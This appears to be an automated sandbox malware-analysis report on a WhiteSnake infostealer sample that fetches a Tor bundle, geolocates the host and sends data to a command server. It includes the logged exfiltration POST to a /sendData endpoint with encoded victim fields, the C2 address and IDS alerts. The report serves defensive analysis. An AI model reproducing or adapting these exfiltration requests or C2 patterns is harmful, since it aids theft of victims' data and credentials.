Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3F6F60 CRYPTO_free_ex_data,CRYPTO_THREAD_run_once,CRYPTO_THREAD_write_lock,OPENSSL_sk_num,OPENSSL_sk_value,CRYPTO_THREAD_unlock,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,CRYPTO_malloc,CRYPTO_THREAD_unlock,CRYPTO_THREAD_write_lock,OPENSSL_sk_value,CRYPTO_THREAD_unlock,OPENSSL_sk_num,OPENSSL_sk_value,CRYPTO_free,ERR_put_error,CRYPTO_THREAD_unlock,ERR_put_error,__stack_chk_fail, 9_2_6C3F6F60
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C46CF20 UI_free,OPENSSL_sk_pop_free,CRYPTO_free_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free, 9_2_6C46CF20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AF57 CRYPTO_THREAD_get_local, 9_2_6C30AF57
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C304F5C OPENSSL_sk_num,OPENSSL_sk_free,CRYPTO_free, 9_2_6C304F5C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F6F50 ASN1_STRING_copy,memcpy,strlen,CRYPTO_realloc,ERR_put_error,ERR_put_error, 9_2_6C2F6F50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3E6FB0 EVP_ENCODE_CTX_free,CRYPTO_free, 9_2_6C3E6FB0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C304FA0 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C304FA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AFA7 CRYPTO_THREAD_get_local, 9_2_6C30AFA7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3E8FA0 EVP_CipherFinal,OPENSSL_die,OPENSSL_die,EVP_EncryptInit, 9_2_6C3E8FA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AF80 ASYNC_unblock_pause,OPENSSL_init_crypto,CRYPTO_THREAD_get_local, 9_2_6C30AF80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3E6F80 EVP_ENCODE_CTX_new,CRYPTO_zalloc, 9_2_6C3E6F80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C40AF80 CRYPTO_ofb128_encrypt, 9_2_6C40AF80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E2FE7 AES_decrypt, 9_2_6C2E2FE7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3FEFF0 CRYPTO_free, 9_2_6C3FEFF0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C326FE0 BN_BLINDING_free,BN_free,BN_free,BN_free,BN_free,CRYPTO_THREAD_lock_free,CRYPTO_free, 9_2_6C326FE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C344FE0 CMS_RecipientInfo_decrypt,ERR_put_error,OBJ_obj2nid,AES_set_decrypt_key,CRYPTO_malloc,AES_unwrap_key,OPENSSL_cleanse,EVP_PKEY_CTX_new,EVP_PKEY_decrypt_init,EVP_PKEY_CTX_free,CRYPTO_free,ERR_put_error,OBJ_obj2nid,OBJ_nid2sn,EVP_get_cipherbyname,EVP_CIPHER_key_length,EVP_PKEY_CTX_ctrl,EVP_PKEY_decrypt,CRYPTO_malloc,EVP_PKEY_decrypt,CRYPTO_clear_free,EVP_PKEY_CTX_free,ERR_put_error,CRYPTO_free,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,EVP_PKEY_CTX_free,ERR_put_error,ERR_put_error,__stack_chk_fail, 9_2_6C344FE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C390FE0 EC_POINT_new,CRYPTO_zalloc,ERR_put_error,CRYPTO_free,ERR_put_error,ERR_put_error, 9_2_6C390FE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C46CFA0 UI_add_input_string,CRYPTO_malloc,OPENSSL_sk_push,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_new_null,CRYPTO_free,ERR_put_error,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C46CFA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C348FC0 CMS_add0_recipient_password,ERR_put_error,X509_ALGOR_new,EVP_CIPHER_CTX_new,EVP_EncryptInit_ex,EVP_CIPHER_CTX_iv_length,RAND_bytes,EVP_EncryptInit_ex,ASN1_TYPE_new,EVP_CIPHER_param_to_asn1,EVP_CIPHER_CTX_cipher,EVP_CIPHER_type,OBJ_nid2obj,EVP_CIPHER_CTX_free,ASN1_item_new,ASN1_item_new,X509_ALGOR_free,X509_ALGOR_new,OBJ_nid2obj,ASN1_TYPE_new,X509_ALGOR_it,ASN1_item_pack,X509_ALGOR_free,PKCS5_pbkdf2_set,strlen,OPENSSL_sk_push,ERR_put_error,EVP_CIPHER_CTX_free,ASN1_item_free,ERR_put_error,ERR_put_error,EVP_CIPHER_CTX_free,X509_ALGOR_free,ERR_put_error,ERR_put_error,EVP_CIPHER_CTX_free,__stack_chk_fail, 9_2_6C348FC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30A834 ERR_put_error,CRYPTO_free, 9_2_6C30A834
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C358830 DES_cfb64_encrypt,DES_encrypt1,DES_encrypt1,__stack_chk_fail,DES_cfb_encrypt,DES_encrypt1,DES_encrypt1,__stack_chk_fail, 9_2_6C358830
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EE828 ASN1_TYPE_free,ASN1_TYPE_new,ASN1_OBJECT_free,OBJ_nid2obj,CRYPTO_malloc,EVP_PKEY_size,CRYPTO_malloc,EVP_DigestInit_ex,EVP_DigestUpdate,ERR_put_error,EVP_MD_CTX_free,CRYPTO_clear_free,CRYPTO_clear_free, 9_2_6C2EE828
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C48A840 OPENSSL_sk_free,OPENSSL_sk_pop_free,X509_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,X509_policy_tree_free, 9_2_6C48A840
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C304808 ASN1_item_ex_i2d,CRYPTO_malloc,malloc,ASN1_item_ex_i2d, 9_2_6C304808
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C394800 BN_is_zero,EC_GROUP_get0_generator,CRYPTO_malloc,CRYPTO_malloc,CRYPTO_malloc,CRYPTO_malloc,BN_num_bits,BN_num_bits,BN_is_zero,ERR_put_error,EC_POINT_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EC_POINT_clear_free,CRYPTO_free,CRYPTO_free,ERR_put_error,EC_POINT_free,CRYPTO_free,CRYPTO_free,CRYPTO_malloc,memcpy,ERR_put_error,EC_POINT_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_malloc,EC_POINT_new,EC_POINT_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EC_POINT_cmp,ERR_put_error,ERR_put_error,EC_POINT_free,CRYPTO_free,CRYPTO_free,EC_POINT_is_at_infinity,BN_is_zero,BN_is_zero,BN_num_bits,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_free,ERR_put_error,CRYPTO_free,EC_POINT_new,EC_POINT_copy,EC_POINT_dbl,EC_POINT_add,ERR_put_error,CRYPTO_free,EC_POINT_set_to_infinity,ERR_put_error,CRYPTO_free,__stack_chk_fail,EC_POINTs_make_affine,EC_POINT_copy,EC_POINT_add,EC_POINT_invert,EC_POINT_dbl,EC_POINT_set_to_infinity,ERR_put_error,CRYPTO_free,EC_POINT_invert, 9_2_6C394800
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3F2800 EVP_SealFinal,EVP_EncryptFinal_ex, 9_2_6C3F2800
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D2870 ERR_load_ERR_strings,CRYPTO_THREAD_run_once, 9_2_6C3D2870
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C330860 BN_GENCB_free,CRYPTO_free, 9_2_6C330860
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EE879 EVP_MD_CTX_free,CRYPTO_clear_free,CRYPTO_clear_free,EVP_SignFinal,CRYPTO_free, 9_2_6C2EE879
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D4860 ERR_peek_error_line,ERR_get_state,CRYPTO_free,CRYPTO_free, 9_2_6C3D4860
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C464820 CRYPTO_THREAD_lock_new,CRYPTO_zalloc,InitializeCriticalSectionAndSpinCount,CRYPTO_free, 9_2_6C464820
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3CC850 ENGINE_cmd_is_executable,CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C3CC850
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F4856 CRYPTO_clear_free,EVP_MD_CTX_free,ERR_put_error, 9_2_6C2F4856
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D28B0 ERR_load_strings,CRYPTO_THREAD_run_once,CRYPTO_THREAD_write_lock,OPENSSL_LH_insert,CRYPTO_THREAD_unlock, 9_2_6C3D28B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C4648D0 CRYPTO_THREAD_unlock,LeaveCriticalSection, 9_2_6C4648D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F48B3 CRYPTO_clear_free,EVP_MD_CTX_free,ERR_put_error, 9_2_6C2F48B3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30A890 ASYNC_start_job,OPENSSL_init_crypto,CRYPTO_THREAD_get_local,ERR_put_error,CRYPTO_THREAD_get_local,CRYPTO_free,OPENSSL_sk_push,CRYPTO_THREAD_get_local,OPENSSL_sk_pop,CRYPTO_malloc,memcpy,SwitchToFiber,SwitchToFiber,CRYPTO_malloc,CRYPTO_THREAD_set_local,CRYPTO_free,ASYNC_init_thread,CRYPTO_THREAD_get_local,CRYPTO_zalloc,ERR_put_error,CreateFiber,CRYPTO_free,DeleteFiber,CRYPTO_free,CRYPTO_THREAD_get_local,CRYPTO_free,OPENSSL_sk_push,ERR_put_error,ERR_put_error,CRYPTO_THREAD_get_local,CRYPTO_free,OPENSSL_sk_push, 9_2_6C30A890
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C354880 o2i_SCT,SCT_new,CRYPTO_memdup,SCT_free,ERR_put_error,SCT_free,CRYPTO_memdup,CRYPTO_memdup,ERR_put_error,SCT_free,__stack_chk_fail, 9_2_6C354880
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C4648F0 CRYPTO_THREAD_lock_free,DeleteCriticalSection,CRYPTO_free, 9_2_6C4648F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F8890 CRYPTO_strdup,CRYPTO_strdup,CRYPTO_malloc,OPENSSL_sk_push,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C2F8890
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3528F0 CONF_get1_default_config_file,CRYPTO_strdup,X509_get_default_cert_area,strlen,CRYPTO_malloc,X509_get_default_cert_area,BIO_snprintf, 9_2_6C3528F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C464890 CRYPTO_THREAD_read_lock,EnterCriticalSection, 9_2_6C464890
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EA8F0 ASN1_STRING_set,ASN1_INTEGER_new,ASN1_STRING_set,ERR_put_error,ASN1_INTEGER_free,ERR_put_error,ERR_put_error,ERR_put_error,__stack_chk_fail,d2i_ASN1_UINTEGER,ASN1_get_object,ERR_put_error,ASN1_INTEGER_free,ASN1_INTEGER_new,ASN1_get_object,ERR_put_error,ERR_put_error,CRYPTO_malloc,memcpy,CRYPTO_free,CRYPTO_malloc,ERR_put_error,__stack_chk_fail,ASN1_INTEGER_get_int64,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C2EA8F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3F88D0 IDEA_encrypt, 9_2_6C3F88D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C40E8B0 OBJ_obj2txt,BN_set_word,BN_lshift,BN_free,BN_add_word,BIO_snprintf,strlen,BN_new,OBJ_obj2nid,BN_bn2dec,strlen,OPENSSL_strlcpy,CRYPTO_free,OBJ_nid2ln,OPENSSL_strlcpy,strlen,OPENSSL_strlcpy,OBJ_nid2sn,BN_sub_word,BN_free,__stack_chk_fail, 9_2_6C40E8B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3368C0 BN_bn2hex,BN_is_zero,CRYPTO_malloc,CRYPTO_strdup,ERR_put_error, 9_2_6C3368C0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30A8C3 CRYPTO_THREAD_get_local,ERR_put_error,CRYPTO_THREAD_get_local,CRYPTO_free,OPENSSL_sk_push, 9_2_6C30A8C3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C4648B0 CRYPTO_THREAD_write_lock,EnterCriticalSection, 9_2_6C4648B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C330900 CRYPTO_zalloc,memcpy,CRYPTO_clear_free,CRYPTO_secure_zalloc,CRYPTO_secure_clear_free,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C330900
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2FA911 CONF_imodule_get_value,NCONF_get_section,OPENSSL_sk_num,OPENSSL_sk_value,strrchr,CRYPTO_malloc,memcpy,OBJ_create,CRYPTO_free,OPENSSL_sk_num,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C2FA911
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3F6900 CRYPTO_free_ex_index,CRYPTO_THREAD_run_once,CRYPTO_THREAD_write_lock,OPENSSL_sk_num,OPENSSL_sk_value,CRYPTO_THREAD_unlock,ERR_put_error,ERR_put_error, 9_2_6C3F6900
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3EC970 EVP_MD_meth_new,CRYPTO_zalloc, 9_2_6C3EC970
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3FA970 OPENSSL_thread_stop,CRYPTO_THREAD_get_local,CRYPTO_THREAD_set_local,CRYPTO_free, 9_2_6C3FA970
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D2960 ERR_load_strings_const,CRYPTO_THREAD_run_once,CRYPTO_THREAD_write_lock,OPENSSL_LH_insert,CRYPTO_THREAD_unlock, 9_2_6C3D2960
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EE944 CRYPTO_malloc,EVP_PKEY_size,CRYPTO_malloc,EVP_DigestInit_ex,EVP_DigestUpdate,ERR_put_error,EVP_MD_CTX_free,CRYPTO_clear_free,CRYPTO_clear_free,ASN1_TYPE_free,ASN1_TYPE_new,ASN1_OBJECT_free,OBJ_nid2obj,ASN1_TYPE_free, 9_2_6C2EE944
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C308940 CRYPTO_THREAD_lock_free,CRYPTO_THREAD_lock_new,ERR_put_error, 9_2_6C308940
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C464930 CRYPTO_THREAD_run_once, 9_2_6C464930
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C4029C0 CRYPTO_cfb128_8_encrypt,__stack_chk_fail, 9_2_6C4029C0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2FA9AB CRYPTO_malloc,memcpy,OBJ_create,CRYPTO_free,OPENSSL_sk_num, 9_2_6C2FA9AB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3589B0 DES_cfb_encrypt,DES_encrypt1, 9_2_6C3589B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F89A4 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C2F89A4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3EC9B0 EVP_MD_meth_dup,CRYPTO_zalloc, 9_2_6C3EC9B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3529A0 CONF_modules_load_file,NCONF_new,NCONF_load,CONF_modules_load,NCONF_free,ERR_peek_last_error,ERR_clear_error,CONF_get1_default_config_file,CRYPTO_free, 9_2_6C3529A0
Source: tor-real.exe, 00000009.00000002.4102450699.0000000004E32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: -----BEGIN RSA PUBLIC KEY----- memstr_2907ed74-5
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\file.exe Code function: 4x nop then jmp 00007FFD9B894784h 0_2_00007FFD9B893F91
Source: C:\Users\user\Desktop\file.exe Code function: 4x nop then dec eax 0_2_00007FFD9B89A867
Source: C:\Users\user\Desktop\file.exe Code function: 4x nop then jmp 00007FFD9B894758h 0_2_00007FFD9B8946E4
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then dec eax 6_2_00007FFD9B8B0AE8
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8BB560h 6_2_00007FFD9B8B928D
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8C4304h 6_2_00007FFD9B8C414A
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8A4784h 6_2_00007FFD9B8A3F91
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8C076Dh 6_2_00007FFD9B8C0553
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then dec eax 6_2_00007FFD9B8AB4D0
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8BA912h 6_2_00007FFD9B8BA3AB
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8BAB09h 6_2_00007FFD9B8BA3AB
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then dec eax 6_2_00007FFD9B8B0AF8
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8BB560h 6_2_00007FFD9B8BB179
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8BF6B9h 6_2_00007FFD9B8BF191
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then dec eax 6_2_00007FFD9B8AA864
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8C1C51h 6_2_00007FFD9B8C1781
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8BB560h 6_2_00007FFD9B8B9FA5
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8A4758h 6_2_00007FFD9B8A46E4
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then dec eax 6_2_00007FFD9B8BDECF
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then dec eax 6_2_00007FFD9B8BB53C
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8BB560h 6_2_00007FFD9B8BAC8E
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 9_2_6C2F0E40
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 9_2_6C2EC190
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B874784h 24_2_00007FFD9B873F91
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B874758h 24_2_00007FFD9B8746E4
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8A4784h 26_2_00007FFD9B8A3F91
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8A4758h 26_2_00007FFD9B8A46E4
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8A4784h 27_2_00007FFD9B8A3F91
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 4x nop then jmp 00007FFD9B8A4758h 27_2_00007FFD9B8A46E4

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2050601 - Severity 1 - ET MALWARE [ANY.RUN] WhiteSnake Stealer HTTP Request : 192.168.2.4:49738 -> 104.161.33.60:8080
Source: Network traffic Suricata IDS: 2050602 - Severity 1 - ET MALWARE [ANY.RUN] WhiteSnake Stealer HTTP POST Report Exfiltration : 192.168.2.4:49738 -> 104.161.33.60:8080
Found Tor onion address
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: To debug, this may helpWhat was %p doing in pending_entry_connections in %s?Closing one-hop stream to '%s/%s' because the OR conn just failed.entry_conn->socks_requestGiving up on enclave exit '%s' for destination %s.At %s:%d: %p was unexpectedly in circuit_wait. Closing.Application request to port %d: this port is commonly used for unencrypted protocols. Please make sure you don't send anything you would mind the rest of the Internet reading!%sREJECTWARNDANGEROUS_PORT PORT=%d RESULT=%sPort %d listed in RejectPlaintextPorts. Closing.exitoniononion Invalid %shostname %s; rejectingClient asked for %s:%d.exitThe ".exit" notation is disabled in Tor due to security risks.SOCKS_BAD_HOSTNAME HOSTNAME=%sUnable to automap address %sAutomapping %s to %sREVERSE[%s]Missing mapping for virtual address '%s'. Refusing.Onion address %s requested from a port with .onion disabledResolve requests to hidden services not allowed. Failing.Attachstream to a circuit is not supported for .onion addresses currently. Failing.Using previously configured client authorization for hidden service request.Got a hidden service request for ID '%s'addresstype == ONION_V3_HOSTNAMEfailed to parse hs addressNot fetching.Refetching.usableunusableFound %s descriptor in cache for %s. %s.Invalid service name '%s'No descriptor found in our cache for %s. Fetching.Unknown cache lookup error %dedge_conn->rend_dataedge_conn->hs_identDescriptor is here. Great.Stale automapped address for '%s.exit'. Refusing.Address '%s.exit', with impossible source for the .exit part. Refusing.!automapMalformed exit address '%s.exit'. Refusing.Unrecognized relay in exit address '%s.exit'. Refusing.Excluded relay in exit address '%s.exit'. Refusing.Destination '%s' seems to be an invalid hostname. Failing.Refusing to connect to non-hidden-service hostname or IP address %s because Port has OnionTrafficOnly set (or NoDNSRequest, NoIPv4Traffic, and NoIPv6Traffic).Refusing to connect to hostname %s because Port has NoDNSRequest set.Refusing to connect to IPv4 address %s because Port has NoIPv4Traffic set.Refusing to connect to IPv6 address %s because Port has NoIPv6Traffic set.Application asked to connect to port 0. Refusing.Rejecting request for anonymous connection to private address %s on a TransPort or NATDPort. Possible loop in your NAT rules?%sRejecting SOCKS request for anonymous connection to private address %s.%sRejecting SOCKS request for an IP address family that this listener does not support.Rejecting SOCKS4 request for an IPv6 address.Rejecting SOCKS4 request on a listener with no IPv4 traffic supported.Redirecting address %s to exit at enclave router %saddresstype == ONION_V2_HOSTNAME || addresstype == ONION_V3_HOSTNAMEWarning! You've just connected to a v2 onion address. These addresses are deprecated for security reasons, and are no longer supported in Tor. Please encourage the site operator to upgrade. For more information see https://blog.torproject.org/v2-deprecation-timelineCalled connection_a
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49735 -> 45.91.101.18:9001
Source: global traffic TCP traffic: 192.168.2.4:49737 -> 185.233.107.110:9030
Source: global traffic TCP traffic: 192.168.2.4:49738 -> 104.161.33.60:8080
Source: global traffic TCP traffic: 192.168.2.4:49739 -> 81.83.37.138:9001
Source: global traffic TCP traffic: 192.168.2.4:49749 -> 68.67.32.32:9001
Source: global traffic TCP traffic: 192.168.2.4:49751 -> 81.17.25.195:2001
Source: global traffic TCP traffic: 192.168.2.4:50018 -> 176.9.38.121:9100
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /matinrco/tor/releases/download/v0.4.5.10/tor-expert-bundle-v0.4.5.10.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /github-production-release-asset-2e65be/146779096/943f13f9-3eb9-4042-8722-d95f026c8b09?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241101%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241101T074100Z&X-Amz-Expires=300&X-Amz-Signature=e0da0b0e7d74b8b674a9bd168b181c3c8a6a5698f79d48fda8db18f7dcda6f9f&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dtor-expert-bundle-v0.4.5.10.zip&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line?fields=query,country HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /sendData?pk=Q0I4MkZGNjA3RjlGQzQzMjI1NDI5MzMwRURCQzQ2Qzk=&ta=Qk9UX1BIQU5fQU5I&un=am9uZXM=&pc=MjI2NTMz&co=VW5pdGVkIFN0YXRlcw==&wa=MA==&be=MQ== HTTP/1.1Host: 104.161.33.60:8080Content-Length: 133891Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /mnemonic-verify/9632B569333595844815947611/CB82FF607F9FC43225429330EDBC46C9 HTTP/1.1Host: 104.161.33.60:8080Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 140.82.121.4 140.82.121.4
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
May check the online IP address of the machine
Source: unknown DNS query: name: ip-api.com
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49741
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49752
Source: unknown TCP traffic detected without corresponding DNS query: 45.91.101.18
Source: unknown TCP traffic detected without corresponding DNS query: 45.91.101.18
Source: unknown TCP traffic detected without corresponding DNS query: 45.91.101.18
